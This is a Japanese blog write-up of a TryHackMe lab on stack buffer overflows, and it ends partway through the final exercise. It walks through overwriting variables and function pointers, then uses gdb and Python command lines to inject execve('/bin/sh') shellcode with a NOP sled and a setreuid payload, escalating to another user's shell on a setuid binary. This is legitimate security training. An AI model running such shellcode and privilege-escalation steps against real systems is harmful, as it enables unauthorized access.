今回は、Buffer Overflowを実際に試してみます。
環境構築するのも大変なので、TryHackMeの下記Roomで勉強させてもらいます。
「TryHackMe-Buffer Overflows:https://tryhackme.com/room/bof1」
Introduction(序章)
まずは、ターゲットマシンを起動しておきましょう。
下記画面の「Start Machine」を選択します。
IP Addressが表示されれば、起動完了です。
Connect to our network, deploy the machine and login with the credentials above.(ネットワークに接続し、マシンを展開し、上記の資格情報を使用してログインします。)
ここまでできたら、ターゲットマシンに「user1:user1password」でSSH接続しておきます。
┌──(hacklab㉿hacklab)-[~]
└─$ ssh user1@10.10.165.6
The authenticity of host '10.10.165.6 (10.10.165.6)' can't be established.
ED25519 key fingerprint is SHA256:AsF56RWYwwHAw06LwzfQZsBY9+GuN1jrYmQRK3FP5dU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.165.6' (ED25519) to the list of known hosts.
user1@10.10.165.6's password:
Last login: Wed Nov 27 21:42:30 2019 from 82.34.52.37
__| __|_ )
_| ( / Amazon Linux 2 AMI
___|\___|___|
https://aws.amazon.com/amazon-linux-2/
[user1@ip-10-10-165-6 ~]$
Answer
Process Layout(プロセスレイアウト)
ここではプロセス内のメモリのレイアウトについて、説明が記載されていますね。
説明は各々で読んでおきましょう。
個人的なメモとして、まとめておきます。
- コンピュータは、プログラムをプロセスとして実行する。
- 複数のプロセスを同時に実行できるが、正確には、プロセス間を非常に素早く切り替えて、同時に実行しているように見せている。(コンテキストスイッチ)
- ユーザースタック(User Stack):プログラムの実行に必要な情報が含まれている。
現在のプログラムカウンター、保存されたレジスタ、その他情報が含まれる。
ユーザースタックは下方へ増加していく。(ユーザースタック以降のセクションは、未使用メモリ) - 共有ライブラリ領域(Shared Library Regions):プログラムで使用されるライブラリを静的/動的にリンクするために使用される。
- ヒープ(Heap):プログラムがメモリを動的に割り当てるかどうかに応じて動的に増減する。
ヒープの上には、割り当てられていないセクションがあり、ヒープサイズが増加した場合に利用される。 - プログラムコードとデータ(code/data):プログラムの実行可能ファイルと初期化された変数が格納される。
Where is dynamically allocated memory stored?(動的に割り当てられたメモリはどこに保存されますか?)
Answer
Where is information about functions(e.g. local arguments) stored?(関数に関する情報 (ローカル引数など) はどこに保存されますか?)
Answer
x86-64 Procedures(x86-64 の手順)
次は、スタックについての説明ですね。
ここは目新しい内容はなかったので、各々で読んでおきましょう。
what direction does the stack grown(l for lower/h for higher)(スタックはどの方向に成長しますか (l は下位、h は上位))
Answer
what instruction is used to add data onto the stack?(スタックにデータを追加するにはどのような命令が使用されますか?)
Answer
Procedures Continued(手順の続き)
ここも回答だけ載せておきます。
What register stores the return address?(戻りアドレスを格納するレジスタは何ですか?)
Answer
Endianess(エンディアンネス)
アーキテクチャが異なると、同じ16進数が異なる方法で表現されます。これを、Endianessと呼びます。
- リトルエンディアン:値が最下位バイトから最上位バイトに配置される。
- ビッグエンディアン:値が最上位バイトから最下位バイトに配置される。
Read this.
Answer
Overwriting Variables(変数の上書き)
ここからは、実践形式になります。
overflow-1のフォルダの中に、「int-overflow.c」があるので覗いてみます。
[user1@ip-10-10-165-6 overflow-1]$ cat int-overflow.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int variable = 0;
char buffer[14];
gets(buffer);
if(variable != 0) {
printf("You have changed the value of the variable\n");
} else {
printf("Try again?\n");
}
}
スタックは、下方向に格納していきますので、「variable」>「buffer」になっていることが推測できます。
データがバッファにコピーや書き込みをする場合、データは下位アドレスから上位アドレスに書き込んで行きます。
gets関数は、標準入力からbufferにデータを入力していますが、gets関数は実際に長さチェックがないので、変数を上書きすることが可能です。(つまり、14byte以上のデータを入力したら変数を上書きできるということです。)
What is the minimum number of characters needed to overwrite the variable?(変数を上書きするために必要な最小文字数は何ですか?)
実際に実行して試してみます。
まずは、先ほどの仮設通り14byte入力してみましょう。
[user1@ip-10-10-165-6 overflow-1]$ gcc int-overflow.c
[user1@ip-10-10-165-6 overflow-1]$ ./a.out
01234567890123
Try again?
Try againと出力されたので、上書きできていないことがわかります。
次に、15byte入力してみます。
[user1@ip-10-10-165-6 overflow-1]$ ./a.out
012345678901234
You have changed the value of the variable
先ほどと出力が変わりましたね。
変数が0以外になったということなので、上書きできたことが証明されました!
Answer
Overwriting Function Pointers(関数ポインタの上書き)
関数ポインタを上書きして、別の関数を呼び出してみます。
まずは、overflow-2の「func-pointer.c」を見てみましょう。
[user1@ip-10-10-22-183 overflow-2]$ cat func-pointer.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
void special()
{
printf("this is the special function\n");
printf("you did this, friend!\n");
}
void normal()
{
printf("this is the normal function\n");
}
void other()
{
printf("why is this here?");
}
int main(int argc, char **argv)
{
volatile int (*new_ptr) () = normal;
char buffer[14];
gets(buffer);
new_ptr();
}
bufferの上の変数は、関数へのポインタではなく、normal関数のメモリ位置になっています。
このメモリ位置を上書きしていきます。
ここで、gdb(デバッガ)を利用します。
[user1@ip-10-10-22-183 overflow-2]$ gdb func-pointer
GNU gdb (GDB) Red Hat Enterprise Linux 8.0.1-30.amzn2.0.3
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from func-pointer...(no debugging symbols found)...done.
(gdb) set exec-wrapper env -u LINES -u COLUMNS
まずは、実行して、13byte入力してみましょう。
(gdb) run
Starting program: /home/user1/overflow-2/func-pointer
Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64
1234567890123
this is the normal function
[Inferior 1 (process 3567) exited normally]
normal functionが実行されていますね。
次に15byteで実行してみます。
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-2/func-pointer
123456789012345
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400035 in ?? ()
アドレスの右端が、「35」になっています。(「5」の16進コード)
つまり、返送先アドレスが上書きされたことを意味します。
では、次に20byteで実行してみます。
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-2/func-pointer
12345678901234555555
Program received signal SIGSEGV, Segmentation fault.
0x0000353535353535 in ?? ()
戻り値のすべてが「35」上書きされました。
次に21byteで実行してみます。
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-2/func-pointer
123456789012345555555
Program received signal SIGSEGV, Segmentation fault.
0x00000000004005da in main ()
これは、別の場所になっているのでやりすぎています。
つまり、アドレスを上書きするために6byteあることがわかりました。
special関数のアドレスに書き換えるために、special関数のアドレスをみておきましょう。
(gdb) disassemble special
Dump of assembler code for function special:
0x0000000000400567 <+0>: push %rbp
0x0000000000400568 <+1>: mov %rsp,%rbp
0x000000000040056b <+4>: mov $0x400680,%edi
0x0000000000400570 <+9>: callq 0x400460 <puts@plt>
0x0000000000400575 <+14>: mov $0x40069d,%edi
0x000000000040057a <+19>: callq 0x400460 <puts@plt>
0x000000000040057f <+24>: nop
0x0000000000400580 <+25>: pop %rbp
0x0000000000400581 <+26>: retq
End of assembler dump.
「0x0000000000400567」がspecial関数のアドレスですね。
では、上記のアドレスになるように書き換えていきます。
ここでは、リトルエンディアンなので、「000000400567」は、次のようになります。
\x67\x05\x40\x00\x00\x00
次にこれをASCIIコードに変換します。
g^E@
^Eは、「CTRL+E」なので注意してください。
ASCIIコードがわかれば、実行して書き換えてみましょう。
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-2/func-pointer
12345678901234g^E@
this is the special function
you did this, friend!
[Inferior 1 (process 5144) exited normally]
ちゃんとspecial関数が実行されましたね。
Invoke the special function()(special関数を呼び出します)
先ほどspecial関数を呼び出したようにしてあげればOKですね。
[user1@ip-10-10-22-183 overflow-2]$ ./func-pointer
12345678901234g^E@
this is the special function
you did this, friend!
Answer
Buffer Overflows(バッファオーバーフロー)
次は、バッファオーバーフローを利用して、シェルを取得してみます。
ここから少し複雑になってきます。。。
まずは、overflow-3に移動して、「buffer-overflow.c」を確認してみましょう。
[user1@ip-10-10-22-183 overflow-3]$ cat buffer-overflow.c
#include <stdio.h>
#include <stdlib.h>
void copy_arg(char *string)
{
char buffer[140];
strcpy(buffer, string);
printf("%s\n", buffer);
return 0;
}
int main(int argc, char **argv)
{
printf("Here's a program that echo's out your input\n");
copy_arg(argv[1]);
}
strcpy()がコマンドライン引数argv[1]から長さ140byteのバッファにコピーしていることがわかります。
strcpy()は、長さをチェックしないため、バッファオーバーフローさせることが可能です。
スタックには、リターンアドレスを追加しますが、bufferは上向きにコピーされていくため、バッファオーバーフローで、リターンアドレスを上書きすることができます。
関数がどこに戻るかを制御し、プログラムの実行フローを変更してみます。
Use the above method to open a shell and read the contents of the secret.txt file.(上記の方法を使用してシェルを開き、secret.txt ファイルの内容を読み取ります。)
では、先ほどと同様にgdbを利用します。
[user1@ip-10-10-22-183 overflow-3]$ gdb buffer-overflow
GNU gdb (GDB) Red Hat Enterprise Linux 8.0.1-30.amzn2.0.3
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from buffer-overflow...(no debugging symbols found)...done.
まずは、リターンアドレスの先頭を探していきます。
bufferには、140byteであることは、ソースからわかりました。
bufferとリターンアドレスの間には、「アライメントバイト」とrbpレジスタ(saveレジスタ)によって埋められるものがあり、x64アーキテクチャでは8バイトあります。
つまり、buffer(140)+アライメントバイト(??)+rbp(8)のようなオフセットになるはずです。
したがって、最低でも148byteなので、148byteからリターンアドレスが上書きされるまでbyteを増やしていきます。
まずは、148byteで実行してみましょう。
(gdb) run $(python -c "print('A'*148)")
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A'*148)")
Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400595 in main ()
最後のリターンアドレスに、「41(A)」が存在しないため、上書きできていません。
徐々に増やしていき、153byteになったときにどうなるか見てみます。
(gdb) run $(python -c "print('A'*153)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A'*153)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400041 in ?? ()
リターンアドレスに、「41」がありますね。リターンアドレスが上書きされたことがわかります。
次は、リターンアドレスの最後を見るために、158byteで実行してみます。
(gdb) run $(python -c "print('A'*158)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A'*158)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
リターンアドレスは、「41」で埋め尽くされていますので、159byteで実行してみます。
(gdb) run $(python -c "print('A'*159)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A'*159)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400563 in copy_arg ()
もちろんやりすぎてしまっているので、別のアドレスになってしまっています。
つまり、153~158の6byteがリターンアドレスであることがわかりました。
次は、シェルコードをbufferにおいて、リターンアドレスがそのアドレスを指すようにしていきます。
通常の単純なシェルコードでは、機能せず、SIGILLエラーを防ぐためにexitを呼び出す必要がある点に注意してください。
push $0x3b
pop %eax
xor %rdx,%rdx
movabs $0x68732f6e69622f2f,%r8
shr $0x8, %r8
push %r8
mov %rsp, %rdi
push %rdx
push %rdi
mov %rsp, %rsi
syscall <------ ここで/bin/shを実行
push $0x3c
pop %eax
xor %rdi,%rdi
syscall <------ 最後の4行はexit関数のため
16進バージョンのシェルコードは下記になります。
これは、WEBから引っ張ってきました。(今回は、こちらから引っ張ってきています。)
40byteあります。
\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
次に16進のシェルコードのアドレスを調べていきます。
ジャンク(100byte)+シェルコード(40byte)+ジャンク(12byte)+リターンアドレス(6byte)=158byteになるようにしておきます。(ジャンクとシェルコードの位置は大した理由はないので、152byte以内であればbyteは変更しても問題ないです)
今回はとりあえず、ジャンクには「A」、リターンアドレスには「B」をいれます。
(gdb) run $(python -c "print 'A'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'B'*6")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'B'*6")
Here's a program that echo's out your input
����������������������������������������������������������������������������������������������������j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAABBBBBB
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
次にメモリ位置をダンプしてみます。
(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe64a 0x00007fff 0x41414141 0x41414141
0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x48583b6a
0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
0x7fffffffe2c8: 0x89485041 0x485752e7 0x050fe689 0x48583c6a
0x7fffffffe2d8: 0x050fff31 0x41414141 0x41414141 0x41414141
0x7fffffffe2e8: 0x42424242 0x00004242 0xffffe3e8 0x00007fff
0x7fffffffe2f8: 0x00000000 0x00000002 0x004005a0 0x00000000
0x7fffffffe308: 0xf7a4302a 0x00007fff 0x00000000 0x00000000
0x7fffffffe318: 0xffffe3e8 0x00007fff 0x00040000 0x00000002
0x7fffffffe328: 0x00400564 0x00000000 0x00000000 0x00000000
0x7fffffffe338: 0x654a4ef5 0xcc0a789a 0x00400450 0x00000000
0x7fffffffe348: 0xffffe3e0 0x00007fff 0x00000000 0x00000000
0x7fffffffe358: 0x00000000 0x00000000 0xa82a4ef5 0x33f587e5
0x7fffffffe368: 0x31ce4ef5 0x33f59752 0x00000000 0x00000000
0x7fffffffe378: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe388: 0xffffe400 0x00007fff 0xf7ffe130 0x00007fff
0x7fffffffe398: 0xf7de7656 0x00007fff 0x00000000 0x00000000
0x7fffffffe3a8: 0x00000000 0x00000000 0x00000000 0x00000000
bufferのスタートが「0x7fffffffe248の3列目」、シェルコードのスタートが「0x7fffffffe2a8の4列目」にあることがわかります。
「0x7fffffffe2a8」がシェルコードが記載されている行の最初のアドレスであり、1列ごとに4byte追加する必要があります。
シェルコードは4列目、つまり間に3列分あるので3*4byte=12byte(oxC)追加し、0x7fffffffe2a8+oxC=0x7fffffffe2b4 が、シェルコードの先頭アドレスであることがわかります。
ただし、時々メモリが少しシフトして、実行ごとにアドレスが変わる可能性があります。
これは、シェルコードの前のジャンクを「A」ではなく、「NOP(\x90)」で埋めることで解決できます。
NOPは何も行わない命令であり、スキップされることになります。
すべてのNOPをスキップしてシェルコードを実行するため、正確なアドレスを取得する必要はなく、NOPで埋められているどこかのアドレスを取得して、実行すれば問題ありません。
すなわち、メモリが多少変化しても問題がないということになります。
シェルコードの前のジャンクを「A」から「\x90」に変更します。
(gdb) run $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'B'*6")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'B'*6")
Here's a program that echo's out your input
����������������������������������������������������������������������������������������������������j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAABBBBBB
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
もう一度メモリ位置をダンプします。
(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe64a 0x00007fff 0x90909090 0x90909090
0x7fffffffe258: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe268: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe278: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe288: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe298: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe2a8: 0x90909090 0x90909090 0x90909090 0x48583b6a
0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
0x7fffffffe2c8: 0x89485041 0x485752e7 0x050fe689 0x48583c6a
0x7fffffffe2d8: 0x050fff31 0x41414141 0x41414141 0x41414141
0x7fffffffe2e8: 0x42424242 0x00004242 0xffffe3e8 0x00007fff
0x7fffffffe2f8: 0x00000000 0x00000002 0x004005a0 0x00000000
0x7fffffffe308: 0xf7a4302a 0x00007fff 0x00000000 0x00000000
0x7fffffffe318: 0xffffe3e8 0x00007fff 0x00040000 0x00000002
0x7fffffffe328: 0x00400564 0x00000000 0x00000000 0x00000000
0x7fffffffe338: 0x02ce8e0b 0x844e9507 0x00400450 0x00000000
0x7fffffffe348: 0xffffe3e0 0x00007fff 0x00000000 0x00000000
0x7fffffffe358: 0x00000000 0x00000000 0xcfae8e0b 0x7bb16a78
0x7fffffffe368: 0x564a8e0b 0x7bb17acf 0x00000000 0x00000000
0x7fffffffe378: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe388: 0xffffe400 0x00007fff 0xf7ffe130 0x00007fff
0x7fffffffe398: 0xf7de7656 0x00007fff 0x00000000 0x00000000
0x7fffffffe3a8: 0x00000000 0x00000000 0x00000000 0x00000000
「0x7fffffffe2a8の4列目」がシェルコードですが、その前の「90」で埋められている箇所であればどこでもいいので、今回は「0x7fffffffe298」をリターンアドレスにして、スキップさせてシェルコードを実行させます。
リターンアドレスは、リトルエンディアンにするため、「0x7fffffffe298」⇒「0x98e2ffffff7f」⇒「\x98\xe2\xff\xff\xff\x7f」となります。
リターンアドレスの「B」を「\x98\xe2\xff\xff\xff\x7f」に置き換えて実行してみましょう。
(gdb) run $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\x98\xe2\xff\xff\xff\x7f'")
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\x98\xe2\xff\xff\xff\x7f'")
Here's a program that echo's out your input
����������������������������������������������������������������������������������������������������j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAA�����
process 5368 is executing new program: /usr/bin/bash
sh-4.2$
無事、シェルが取得できていますね。
whoamiでユーザーを確認してみると、user1であることがわかります。
sh-4.2$ whoami
Detaching after fork from child process 5377.
user1
secret.txtがあったので、catしてみましたが、どうやらuser1ではダメなようです。
sh-4.2$ ls -l
Detaching after fork from child process 5380.
total 20
-rwsrwxr-x 1 user2 user2 8264 Sep 2 2019 buffer-overflow
-rw-rw-r-- 1 user1 user1 285 Sep 2 2019 buffer-overflow.c
-rw------- 1 user2 user2 22 Sep 2 2019 secret.txt
sh-4.2$ cat secret.txt
Detaching after fork from child process 5378.
cat: secret.txt: Permission denied
user2にするためには、シェルコードにsetreuidを追加する必要があります。
まずは、user2のUIDを調べてみましょう。
[user1@ip-10-10-22-183 overflow-3]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
libstoragemgmt:x:999:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
ec2-instance-connect:x:998:996::/home/ec2-instance-connect:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
ec2-user:x:1000:1000:EC2 Default User:/home/ec2-user:/bin/bash
user1:x:1001:1001::/home/user1:/bin/bash
user2:x:1002:1002::/home/user2:/bin/bash
user3:x:1003:1003::/home/user3:/bin/bash
user2のUIDが「1002」であることがわかりました。
次に、pwntoolsを利用して、setreuid()の部分の16進コードを生成していきます。
┌──(hacklab㉿hacklab)-[~]
└─$ pwn shellcraft -f d amd64.linux.setreuid 1002
\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05
これをシェルコードの先頭に処理を追加します。
14byteなので、シェルコードの前のジャンクも100-14=86byteに変更しておきましょう。
これで実行してみます。
[user1@ip-10-10-22-183 overflow-3]$ ./buffer-overflow $(python -c "print '\x90'*86+'\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\x98\xe2\xff\xff\xff\x7f'")
Here's a program that echo's out your input
��������������������������������������������������������������������������������������1�f��jqXH��j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAA�����
sh-4.2$ whoami
user2
無事、user2の権限が取得できました。(gdbを使っていると、user1のままになってしまう。gdbなしで実行したら、user2で実施が可能だった。)
secret.txtを確認して完了です!
sh-4.2$ cat secret.txt
omgyoudidthissocool!!
Answer
Buffer Overflow 2(バッファオーバーフロー2)
次は、今までの内容のおさらいという感じですね。
まずは、cのソースをみてみましょう。
[user1@ip-10-10-232-238 overflow-4]$ cat buffer-overflow-2.c
#include <stdio.h>
#include <stdlib.h>
void concat_arg(char *string)
{
char buffer[154] = "doggo";
strcat(buffer, string);
printf("new word is %s\n", buffer);
return 0;
}
int main(int argc, char **argv)
{
concat_arg(argv[1]);
}
strcat()は、オーバーフローを引き起こす可能性がある関数ですね。
今回はこれを利用するということだと思います。
では、gdbで実行していきます。
[user1@ip-10-10-232-238 overflow-4]$ gdb buffer-overflow-2
GNU gdb (GDB) Red Hat Enterprise Linux 8.0.1-30.amzn2.0.3
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from buffer-overflow-2...(no debugging symbols found)...done.
(gdb)
buffer(154)+アライメントバイト(??)+rbp(8)のようなオフセットになるはずです。
154+8=162byteで、まずは実行してみましょう。
(gdb) run $(python -c "print('A'*162)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('A'*157)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x00000000004005d3 in main ()
「41」がないので、上書きされていませんね。
そのまま164byte入力して、実行してみました。
(gdb) run $(python -c "print('A'*164)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('A'*164)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400041 in ?? ()
「41」があるのでちゃんと上書きされています。
リターンアドレスの最後も知りたいので、169byte入力してみます。
(gdb) run $(python -c "print('A'*169)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('A'*169)")
